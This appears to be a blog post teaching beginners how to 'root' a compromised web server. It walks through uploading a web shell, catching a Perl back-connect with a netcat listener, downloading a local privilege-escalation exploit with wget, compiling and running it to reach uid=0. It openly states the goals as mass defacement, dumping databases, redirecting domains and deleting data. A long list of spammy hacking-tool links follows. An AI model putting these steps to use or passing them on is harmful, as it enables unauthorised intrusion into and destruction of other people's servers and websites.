Friday, January 19, 2024

HOW TO ROOT A SERVER? – SERVER ROOTING

Servers serve the requests made by the users to the web pages, it acts as a helping hand who serves the requested meal for you. Here I am sharing how to root a server. Root is the Administrator of all server. If someone got root access to it, he can do anything with a server like delete and copy anything on the server, can deface all the websites (massive deface ).
We can't talk about root on windows. That enough for a beginner because if I talk about the root I need another book. So, I guess now we know the importance of root access and why we try to get root.

HOW TO ROOT A SERVER?

There are 3 ways to get ROOT on the server :
1 – With local Root.
2 – With SQL by reading the same important files on it root password.
3 – With exploit on software (Buffer Overflow).
In this post, we will explain local Root. I will explain the other ways soon in some other post.
OK, let's back to work.
After Uploading your shell on the server and getting the local root you will do a back connect and run the local root to Get root. This is a small idea of how it works in the next step you will see how to
find local root and run it to get root access.

HOW TO SEARCH LOCAL ROOT?

First of all we you need to know what version of Kernel.
You can know that from your shell, for example, this version is 2.6.18 – 2012
Go to EXECUTE on your shell and write  "uname -a". You will get the same result, by the way.
Now how to find the local root.
You can use various websites like Exploit-db, packetstormsecurity, vfocus, injector, etc who provides these local roots. One more thing to notice is, that there exist two types of local roots :
1. Local.C: which are not ready.
2. Local: ready to use.

HOW TO GET ROOT ACCESS?

First, you need a shell with a Back Connect option like this :
Enter your "Public IP Address" in SERVER, the port you want to connect on and leave it, Perl, this time, and Finally connect.
So now you must receive the back connect with a Tool named netcat u can download it from the
net. After that open your terminal if you are under Linux or CMD  if you are under Windows. I will explain only Linux, and for Windows, its all the same.
After that Follow the steps :
1- Press nc -vlp 433
2- Wget [the link of the local-Root.zip]
3 – unzip local-Root.zip

4 – chmod 777 local.c

5 – now to change the local-root from local.c > local
gcc local.c -o local Then you will find local.c transformed to local

6 – chmod 777 local

7 – ./local to local rootwork

8 – su
then see your id uid=0(root) gid=0(root) groups=0(root)


Getting UID=0 means, u had got root privileges and hence can do a variety of stuff on the remote server say Mass deface, dump database, redirect sites, change content, etc etc.
AFTER THE ROOT 
As server gets rooted, you're able to do the many things with it like I mentioned above. Such as, withdrawal of domains, massive deface and also deletion of the data completely.
Related articles
  1. Hacking Apps
  2. Best Hacking Tools 2020
  3. New Hack Tools
  4. Hack Tools 2019
  5. Game Hacking
  6. Hackrf Tools
  7. Pentest Tools Android
  8. Hacking Tools For Pc
  9. Hacking Tools Software
  10. Hacking Tools Hardware
  11. Hacking Tools 2019
  12. Hacker Tools
  13. Hack Tools Pc
  14. Nsa Hacker Tools
  15. Hacker Tools Free
  16. Pentest Tools Windows
  17. Pentest Tools Kali Linux
  18. Pentest Tools For Mac
  19. Hack Tool Apk No Root
  20. Pentest Tools Alternative
  21. Usb Pentest Tools
  22. Pentest Tools Website Vulnerability
  23. Tools 4 Hack
  24. Hackrf Tools
  25. Hackers Toolbox
  26. Best Hacking Tools 2019
  27. Hacker Search Tools
  28. Pentest Tools Apk
  29. Best Hacking Tools 2019
  30. Hacker Tools Windows
  31. Pentest Tools Kali Linux
  32. Hacker Tools For Windows
  33. Physical Pentest Tools
  34. Hacker Tools Github
  35. Hacker Search Tools
  36. Pentest Box Tools Download
  37. Pentest Tools Free
  38. Pentest Tools Find Subdomains
  39. Hacker Tool Kit
  40. Github Hacking Tools
  41. Pentest Tools Website
  42. Hacker Tools Linux
  43. Hacker Tools For Windows
  44. Pentest Tools For Ubuntu
  45. Pentest Tools List
  46. Hacker Tools Apk
  47. Termux Hacking Tools 2019
  48. Hackers Toolbox
  49. Beginner Hacker Tools
  50. How To Make Hacking Tools
  51. Hacking Tools For Pc
  52. Hacker Search Tools
  53. Hacking Tools Mac
  54. Pentest Automation Tools
  55. Pentest Tools Online
  56. Hacking Tools Free Download
  57. Hacking Tools Github
  58. Pentest Tools Review
  59. World No 1 Hacker Software
  60. Hak5 Tools
  61. Usb Pentest Tools
  62. Hacker Tools Free Download
  63. Blackhat Hacker Tools
  64. Pentest Tools For Ubuntu
  65. Hacking Apps
  66. Top Pentest Tools
  67. Pentest Tools For Mac
  68. Hack App
  69. Hacker Tools Free Download
  70. Tools Used For Hacking
  71. Hacking Tools Github
  72. Pentest Tools Alternative
  73. Pentest Tools Port Scanner
  74. Hak5 Tools
  75. Github Hacking Tools
  76. Hacking Tools Free Download
  77. Hack Tools Pc
  78. Pentest Tools List
  79. Hacker
  80. Hacking Tools Usb
  81. Hack Tools Mac
  82. Hacking Tools For Pc
  83. Hack Tool Apk
  84. Hacker Tools Free
  85. Hacker Tools 2020
  86. Pentest Tools Open Source
  87. Hacker Tools Free Download
  88. Hacker
  89. Hack Tools
  90. Hacking Tools Github
  91. Pentest Tools Tcp Port Scanner
  92. Pentest Tools Url Fuzzer
  93. Hacker Security Tools
  94. Hacking Tools Github
  95. Pentest Tools Url Fuzzer
  96. Hacker Tools List
  97. Usb Pentest Tools
  98. Growth Hacker Tools
  99. Pentest Tools Nmap
  100. Hacking Tools Windows
  101. Pentest Tools Port Scanner
  102. Hacker Tools Mac
  103. Pentest Tools Github
  104. Best Pentesting Tools 2018
  105. Hacking Tools Name
  106. Pentest Tools Kali Linux
  107. Hacker Tools Online
  108. Hacks And Tools
  109. Hacking Tools
  110. Pentest Tools Android
  111. Hacking Tools And Software
  112. Free Pentest Tools For Windows
  113. Wifi Hacker Tools For Windows
  114. Hacking Tools For Games
  115. Bluetooth Hacking Tools Kali
  116. Hack Tools 2019
  117. Kik Hack Tools
  118. Pentest Tools List
  119. Pentest Tools Bluekeep
  120. Hacker Tools 2020
  121. Hack App
  122. Tools For Hacker
  123. Beginner Hacker Tools
  124. Hack Tools Download
  125. Hacking Tools For Windows 7
  126. New Hacker Tools
  127. Pentest Tools Website
  128. Hacking Tools

No comments: